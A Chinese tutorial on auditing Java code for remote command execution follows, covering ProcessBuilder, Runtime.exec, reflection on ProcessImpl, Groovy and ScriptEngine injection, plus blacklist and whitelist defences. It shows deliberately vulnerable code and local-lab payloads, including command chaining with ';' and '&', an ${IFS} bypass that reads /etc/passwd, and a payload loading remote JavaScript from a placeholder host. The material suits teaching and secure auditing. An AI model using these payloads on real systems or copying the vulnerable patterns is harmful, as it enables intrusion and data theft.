【Java代码审计】RCE篇

【Java代码审计】RCE篇

  • 1.Java中的RCE
  • 2.ProcessBuilder命令执行漏洞
  • 3.Runtime exec命令执行漏洞
  • 4.脚本引擎代码注入
  • 5.RCE的防御

1.Java中的RCE

在PHP开发语言中有system()、exec()、shell_exec()、eval()、passthru()等函数可以执行系统命令。在Java开发语言中可以执行系统命令的函数有:

1、Runtime.getRuntime.execProcessBuilder.start,其中,Runtime.getRuntime.exec是在Java1.5之前提供的,Java1.5之后则提供了ProcessBuilder类来构建进程

2、更多的执行命令的方法,还有ProcessImplProcessImpl 是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类

ProcessImpl 类是一个抽象类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的

public static String vul(String cmd) throws Exception {
    // 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象
    Class clazz = Class.forName("java.lang.ProcessImpl");

    // 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法
    Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);

    // 使用 method.setAccessible 方法将 start 方法设为可访问
    method.setAccessible(true);

    // 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令
    Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}

3、通过脚本引擎代码注入

通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行

4、Groovy执行命令

不安全的使用Groovy调用命令

例如:

@GetMapping("/groovy")
public void groovy(String cmd) {
    GroovyShell shell = new GroovyShell();
    shell.evaluate(cmd);
}

2.ProcessBuilder命令执行漏洞

1、ProcessBuilder命令执行方法

Java.lang.ProcessBuilder类用于创建操作系统进程,每个ProcessBuilder实例管理一个进程属性集。start()方法利用这些属性创建一个新的Process实例,可以利用ProcessBuilder执行命令

// 构造一个命令
ProcessBuilder processBuilder = new ProcessBuilder("whoami");
// 启动进程
Process process = processBuilder.start();
// 读取进程的输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
    System.out.println(line);
}

2、ProcessBuilder命令执行漏洞利用

Java命令执行漏洞的前提是执行命令的参数可控,参数没有经过相关过滤

下面我们通过典型的Java代码讲解命令执行漏洞,示例程序包首先获取filepath参数传入的数据,然后利用ProcessBuilder进行dir命令的执行,最后将相关结果返回:

public static String processbuilderVul(String filepath) throws IOException {
    String[] cmdList = {"cmd.exe", "/c", "dir " + filepath};
    ProcessBuilder pb = new ProcessBuilder(cmdList);
    pb.redirectErrorStream(true);
    Process process = pb.start();

    // 获取命令的输出
    InputStream inputStream = process.getInputStream();
    BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    StringBuilder output = new StringBuilder();
    while ((line = reader.readLine()) != null) {
        output.append(line).append("\n");
    }
    return output.toString();
}

输入..,获取到了上层的目录信息:

http://127.0.0.1:8888/RCE/ProcessBuilder/vul?filepath=..

在这里插入图片描述

因为通过获取filepath参数传入的数据没有经过过滤就传入ProcessBuilder进行执行,故攻击者通过命令连接符就有可能拼接执行额外的命令。例如在Windows系统中使用命令连接符“&”进行多条命令拼接以便执行echo 123456命令,输入“filepath=..%26echo 123456(这里注意&要进行url编码)

RCE成功:

在这里插入图片描述


3.Runtime exec命令执行漏洞

1、java.lang.Runtime公共类中的exec()方法同样也可以执行系统命令,exec()方法的使用方式有以下6种:

在这里插入图片描述

2、Runtime exec命令执行漏洞利用(参数可控)

当利用exec()进行命令执行时,如果参数没有经过过滤就可能通过命令拼接符进行命令拼接执行多条命令

在这里插入图片描述

通过ip参数传入command数组变量中,然后执行ping命令,当输入“ip=127.0.0.1”时,返回“ping 127.0.0.1”后的数据信息

在这里插入图片描述

因为ip参数没有经过过滤就直接拼接到了command变量中,这样就造成了命令执行漏洞,输入“ip=127.0.0.1;id”,这样就可以执行ping 127.0.0.1和id两条命令

在这里插入图片描述

3、Runtime exec命令执行漏洞利用(命令本身可控)

典型示例代码如下:

在这里插入图片描述

输入“cmd=ls”,返回了执行ls命令后的数据信息

在这里插入图片描述

当输入“cmd=ls;cat/etc/passwd”后,返回“java.io.IOException”这个错误信息。这是因为Java通过“Runtime.getRuntime().exec”执行命令并不是启动一个新的shell,所以就会有报错信息,需要重新启动一个shell才能正常执行此命令

启动一个新的shell执行多个命令,输入“cmd=sh -c ls;id”,发现命令执行成功,返回了ls和id命令的信息:

在这里插入图片描述

我们进一步尝试,输入“cmd=sh -c ls;cat /etc/passwd”,发现浏览器一直在请求的状态,无法正常执行此命令

在这里插入图片描述

命令不能正常执行的原因是,如果exec方法执行的参数是字符串参数,参数中的空格会经过StringTokenizer处理,处理完成后会改变原有的语义导致命令无法正常执行。要想执行此命令要绕过StringTokenizer才可以,只要找到可以代替空格的字符即可,如${IFS}、$IFS$9

输入“cmd=sh -c ls;cat${IFS}/etc/passwd”后会有以下报错:

在这里插入图片描述

也就是说,我们的请求中包含无效的字符,需要对{}进行url编码,输入“cmd=sh%20-c%20ls;cat$%7BIFS%7D/etc/passwd”,发现可以正常执行ls和cat/etc/passwd两个命令:

在这里插入图片描述


4.脚本引擎代码注入

漏洞代码:

public void jsEngine(String url) throws Exception {
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
    Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
    String payload = String.format("load('%s')", url);
    // 在Java 8之后移除了ScriptEngineManager的eval
    engine.eval(payload, bindings);
}

利用时,加载一个远程的恶意js脚本,例如,构造如下payload:

http://127.0.0.1:8888/RCE/ScriptEngine/vul?url=http://xxx.com/java/1.js

1.js内容如下:

var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}

5.RCE的防御

RCE的防御基本的有两种方案,一种是基于黑名单的过滤方法(自定义黑名单,这里过滤了常见的管道符,可自行添加):

public static boolean checkOs(String content) {
    String[] black_list = {"|", ",", "&", "&&", ";", "||"};
    for (String s : black_list) {
        if (content.contains(s)) {
            return true;
        }
    }
    return false;
}

此时,再输入恶意的payload:

http://127.0.0.1:8888/RCE/ProcessBuilder/safe?filepath=..%26whoami

请求已经被成功拦截:

在这里插入图片描述

一种是基于白名单的方式,这种方式更加有效,且更加难以绕过:(使用白名单替换黑名单。黑名单需要不断更新,而白名单只需要指定允许执行的命令,更容易维护)

public static String safe(String cmd) {
    // 定义命令白名单
    Set<String> commands = new HashSet<\>();
    commands.add("ls");
    commands.add("pwd");

    // 检查用户提供的命令是否在白名单中
    String command = cmd.split("\\s+")[0];
    if (!commands.contains(command)) {
        return "命令不在白名单中";
    }
    ...
}

此时,用户只能执行ls和pwd命令,其余命令都会被拦截

防御RCE的漏洞,还有一个能够根除的有效方法,那就是在编码时,开发人员应将现有API用于其语言。例如:不要使用Runtime.exec()发出“mail”命令,而要使用位于javax.mail的可用Java API

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/262730.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

7-1 建立二叉搜索树并查找父结点(PTA - 数据结构)

按输入顺序建立二叉搜索树&#xff0c;并搜索某一结点&#xff0c;输出其父结点。 输入格式: 输入有三行&#xff1a; 第一行是n值&#xff0c;表示有n个结点&#xff1b; 第二行有n个整数&#xff0c;分别代表n个结点的数据值&#xff1b; 第三行是x&#xff0c;表示要搜索值…

利用ffmpeg cv2取h265码流视频(转换图片灰屏问题解决)

利用海康威视相机拍出来的视频是H265格式的&#xff0c;相比于常规的H264编码&#xff0c;压缩率更高&#xff0c;但因此如果直接用正常取流方法读取&#xff0c;会出现无法读取的情况 1. 如图h265码流取出图片为灰屏 2 、解决灰屏问题 import subprocess import cv2# 将h265流…

【MyBatis Plus】Service Mapper内置接口讲解

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是Java方文山&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的专栏《MyBatis-Plus》。&#x1f3af;&#x1f3af; &am…

IXXAT NT系列高稳定性网关网桥解决方案

CAN网关网桥功能特点 在之前的文章中我们介绍了CAN中继器在实际场景中的使用&#xff0c;它通常用在CAN的信号远距离传输和降低干扰方面。 我们知道CAN中继器本身并不发出CAN数据帧&#xff0c;而是对CAN数据进行过滤。而CAN网桥则是将上一个网段中的CAN数据帧收取后&a…

自定义Taro上传图片hooks(useUploadImg)

有两个方法需要提前引入 FileUtil(上传文件的方法)、to&#xff08;对请求接口返回做了二次处理&#xff0c;数据和错误提示等&#xff09; //FileUtil export namespace FileUtil {const env {timeout: 10000,uploadImageUrl: "阿里云的地址",};const genPolicy …

【Java】Mac下的Tomcat安装配置

&#x1f514;Tomcat是一个免费的开源web应用服务器&#xff0c;是开发和调试JSP 程序的首选&#x1f590;可利用它响应HTML页面的访问请求。 我们在进行网络编程时&#xff0c;其中重要的中间件就是Tomcat&#xff0c;下面我们将进行在Mac上配置Tomcat的讲解。&#x1f632; …

LeetCode做题总结 1. 两数之和

1. 两数之和 暴力法哈希法重新分析Java语法 暴力法 2023.09.20 刚开始用暴力法破解&#xff08;C&#xff09; class Solution { public:vector<int> twoSum(vector<int>& nums, int target) {vector<int> a;for(int i0; i<nums.size()-1; i) {for(…

企业网络常用网关冗余技术-VRRP协议原理与配置

局域网中的用户终端通常采用配置一个默认网关的形式访问外部网络&#xff0c;如果此时默认网关设备发生故障&#xff0c;将中断所有用户终端的网络访问&#xff0c;这很可能会给用户带来不可预计的损失&#xff0c;所以可以通过部署多个网关的方式来解决单点故障问题&#xff0…

PCB变压器相关记录

PCB平面变压器设计指南--转载自21世纪电源网_北京泰科斯德技术有限公司 PCB变压器电流密度

智能感知时代已来,汉威科技柔性传感器迎来发展新机遇

近年来&#xff0c;消费电子、医疗健康、智能汽车、人机交互等领域的黑科技产品不断出现&#xff0c;催生了许多新功能、新场景、新市场。 TWS耳机&#xff1a;许多TWS&#xff08;真无线立体声&#xff09;耳机厂商开始摒弃传统的触摸感应模式&#xff0c;转而采用最先进的压…

什么是小红书垂直达人,垂直达人优势在哪里?

有不少商家&#xff0c;在小红书平台投广告&#xff0c;来扩大产品和品牌声量时&#xff0c;我们第一时间优选的就是垂直达人。有不少商家和小伙伴会产生了疑问&#xff0c;为什么在投流时&#xff0c;要选择小红书垂直达人?今天&#xff0c;我们就为大家科普一下。 一、什么是…

等待队列头实现阻塞 IO(BIO)

文章目录 等待队列头实现阻塞 IO(BIO)模型等待队列头init_waitqueue_headDECLARE_WAIT_QUEUE_HEAD 等待队列项使用方法驱动程序应用程序模块使用参考 等待队列头实现阻塞 IO(BIO) 等待队列是内核实现阻塞和唤醒的内核机制。 等待队列以循环链表为基础结构&#xff0c;链表头和…

​​​​​​​配置MUX VLAN示例(接入层设备)

组网需求 在企业网络中&#xff0c;企业所有员工都可以访问企业的服务器。但对于企业来说&#xff0c;希望企业内部部分员工之间可以互相交流&#xff0c;而部分员工之间是隔离的&#xff0c;不能够互相访问。 如图1所示&#xff0c;为了解决上述问题&#xff0c;可在连接终端…

unity脚本API中OnCollisionEnter()、OnTriggerEnter()二者的区别

Unity中的OnCollisionEnter和OnTriggerEnter两个函数在日常的开发中很常见但也容易混淆&#xff0c;下面说一说两者的区别。 碰撞器&#xff08;Collider&#xff09;与触发器&#xff08;Trigger&#xff09;的概念 碰撞器&#xff08;Collider&#xff09;和触发器&#xff…

解锁高效工作!5款优秀工时管理软件推荐

工时管理&#xff0c;一直是让许多企业和团队头疼的问题。传统的纸质工时表、复杂的电子表格&#xff0c;不仅操作繁琐&#xff0c;还容易出错。幸好&#xff0c;随着科技的进步&#xff0c;我们迎来了工时管理软件的春天。今天&#xff0c;就让我们一起走进这个新时代&#xf…

虚幻学习笔记20—C++中用户输入控制

一、前言 用户输入主要有鼠标和键盘以及其他的遥感外接设备等&#xff0c;在虚幻中经常会用到这些输入设备的值&#xff0c;比如通过鼠标控制摄像头的方向、键盘控制人物移动等。本文主要讲解简单的输入绑定和虚幻5新增的”增强输入控制“两种方法。 二、实现 2.1、原始的输入…

安装stm32 ST-link utility完成后找不到mfc140.dll文件怎么处理

解决办法&#xff1a; Latest supported Visual C Redistributable downloads | Microsoft Learn 进入网站&#xff0c;下载安装完成即可

EOCR-i3M420/iFM420施耐德智能通讯保护继电器产品简介

EOCR-i3M420/iFM420是施耐德EOCR的新一代电子式电动机保护器产品&#xff0c;具有过电流、欠电流、缺相、逆相、堵转、失速、三相不平衡等保护功能&#xff0c;并具有4-20mA电流输出功能。EOCR-i3M420/iFM420是通讯型产品&#xff0c;提供Modbus RTU通讯协议&#xff0c;RS485接…

算法与数据结构--特殊有序集的线性时间排序算法

一.计数排序算法 基本思想&#xff1a;统计每个输入元素的个数&#xff0c;然后根据这些计数值重构原数组。 使用范围&#xff1a;需要知道元素大小范围&#xff0c;就是最大值是多少。 【排序算法】计数排序_哔哩哔哩_bilibili 二.基数排序 使用场景&#xff1a;只适用于…

【笔试强化】Day 7

文章目录 一、单选1.2.3.4.5.6.7.8.9.10. 二、编程1. 合法括号序列判断解法1&#xff1a;&#xff08;统计数量&#xff09;代码&#xff1a; 解法2&#xff1a;&#xff08;栈&#xff09;代码&#xff1a; 2. Fibonacci数列解法&#xff1a;代码&#xff1a; 一、单选 1. 正…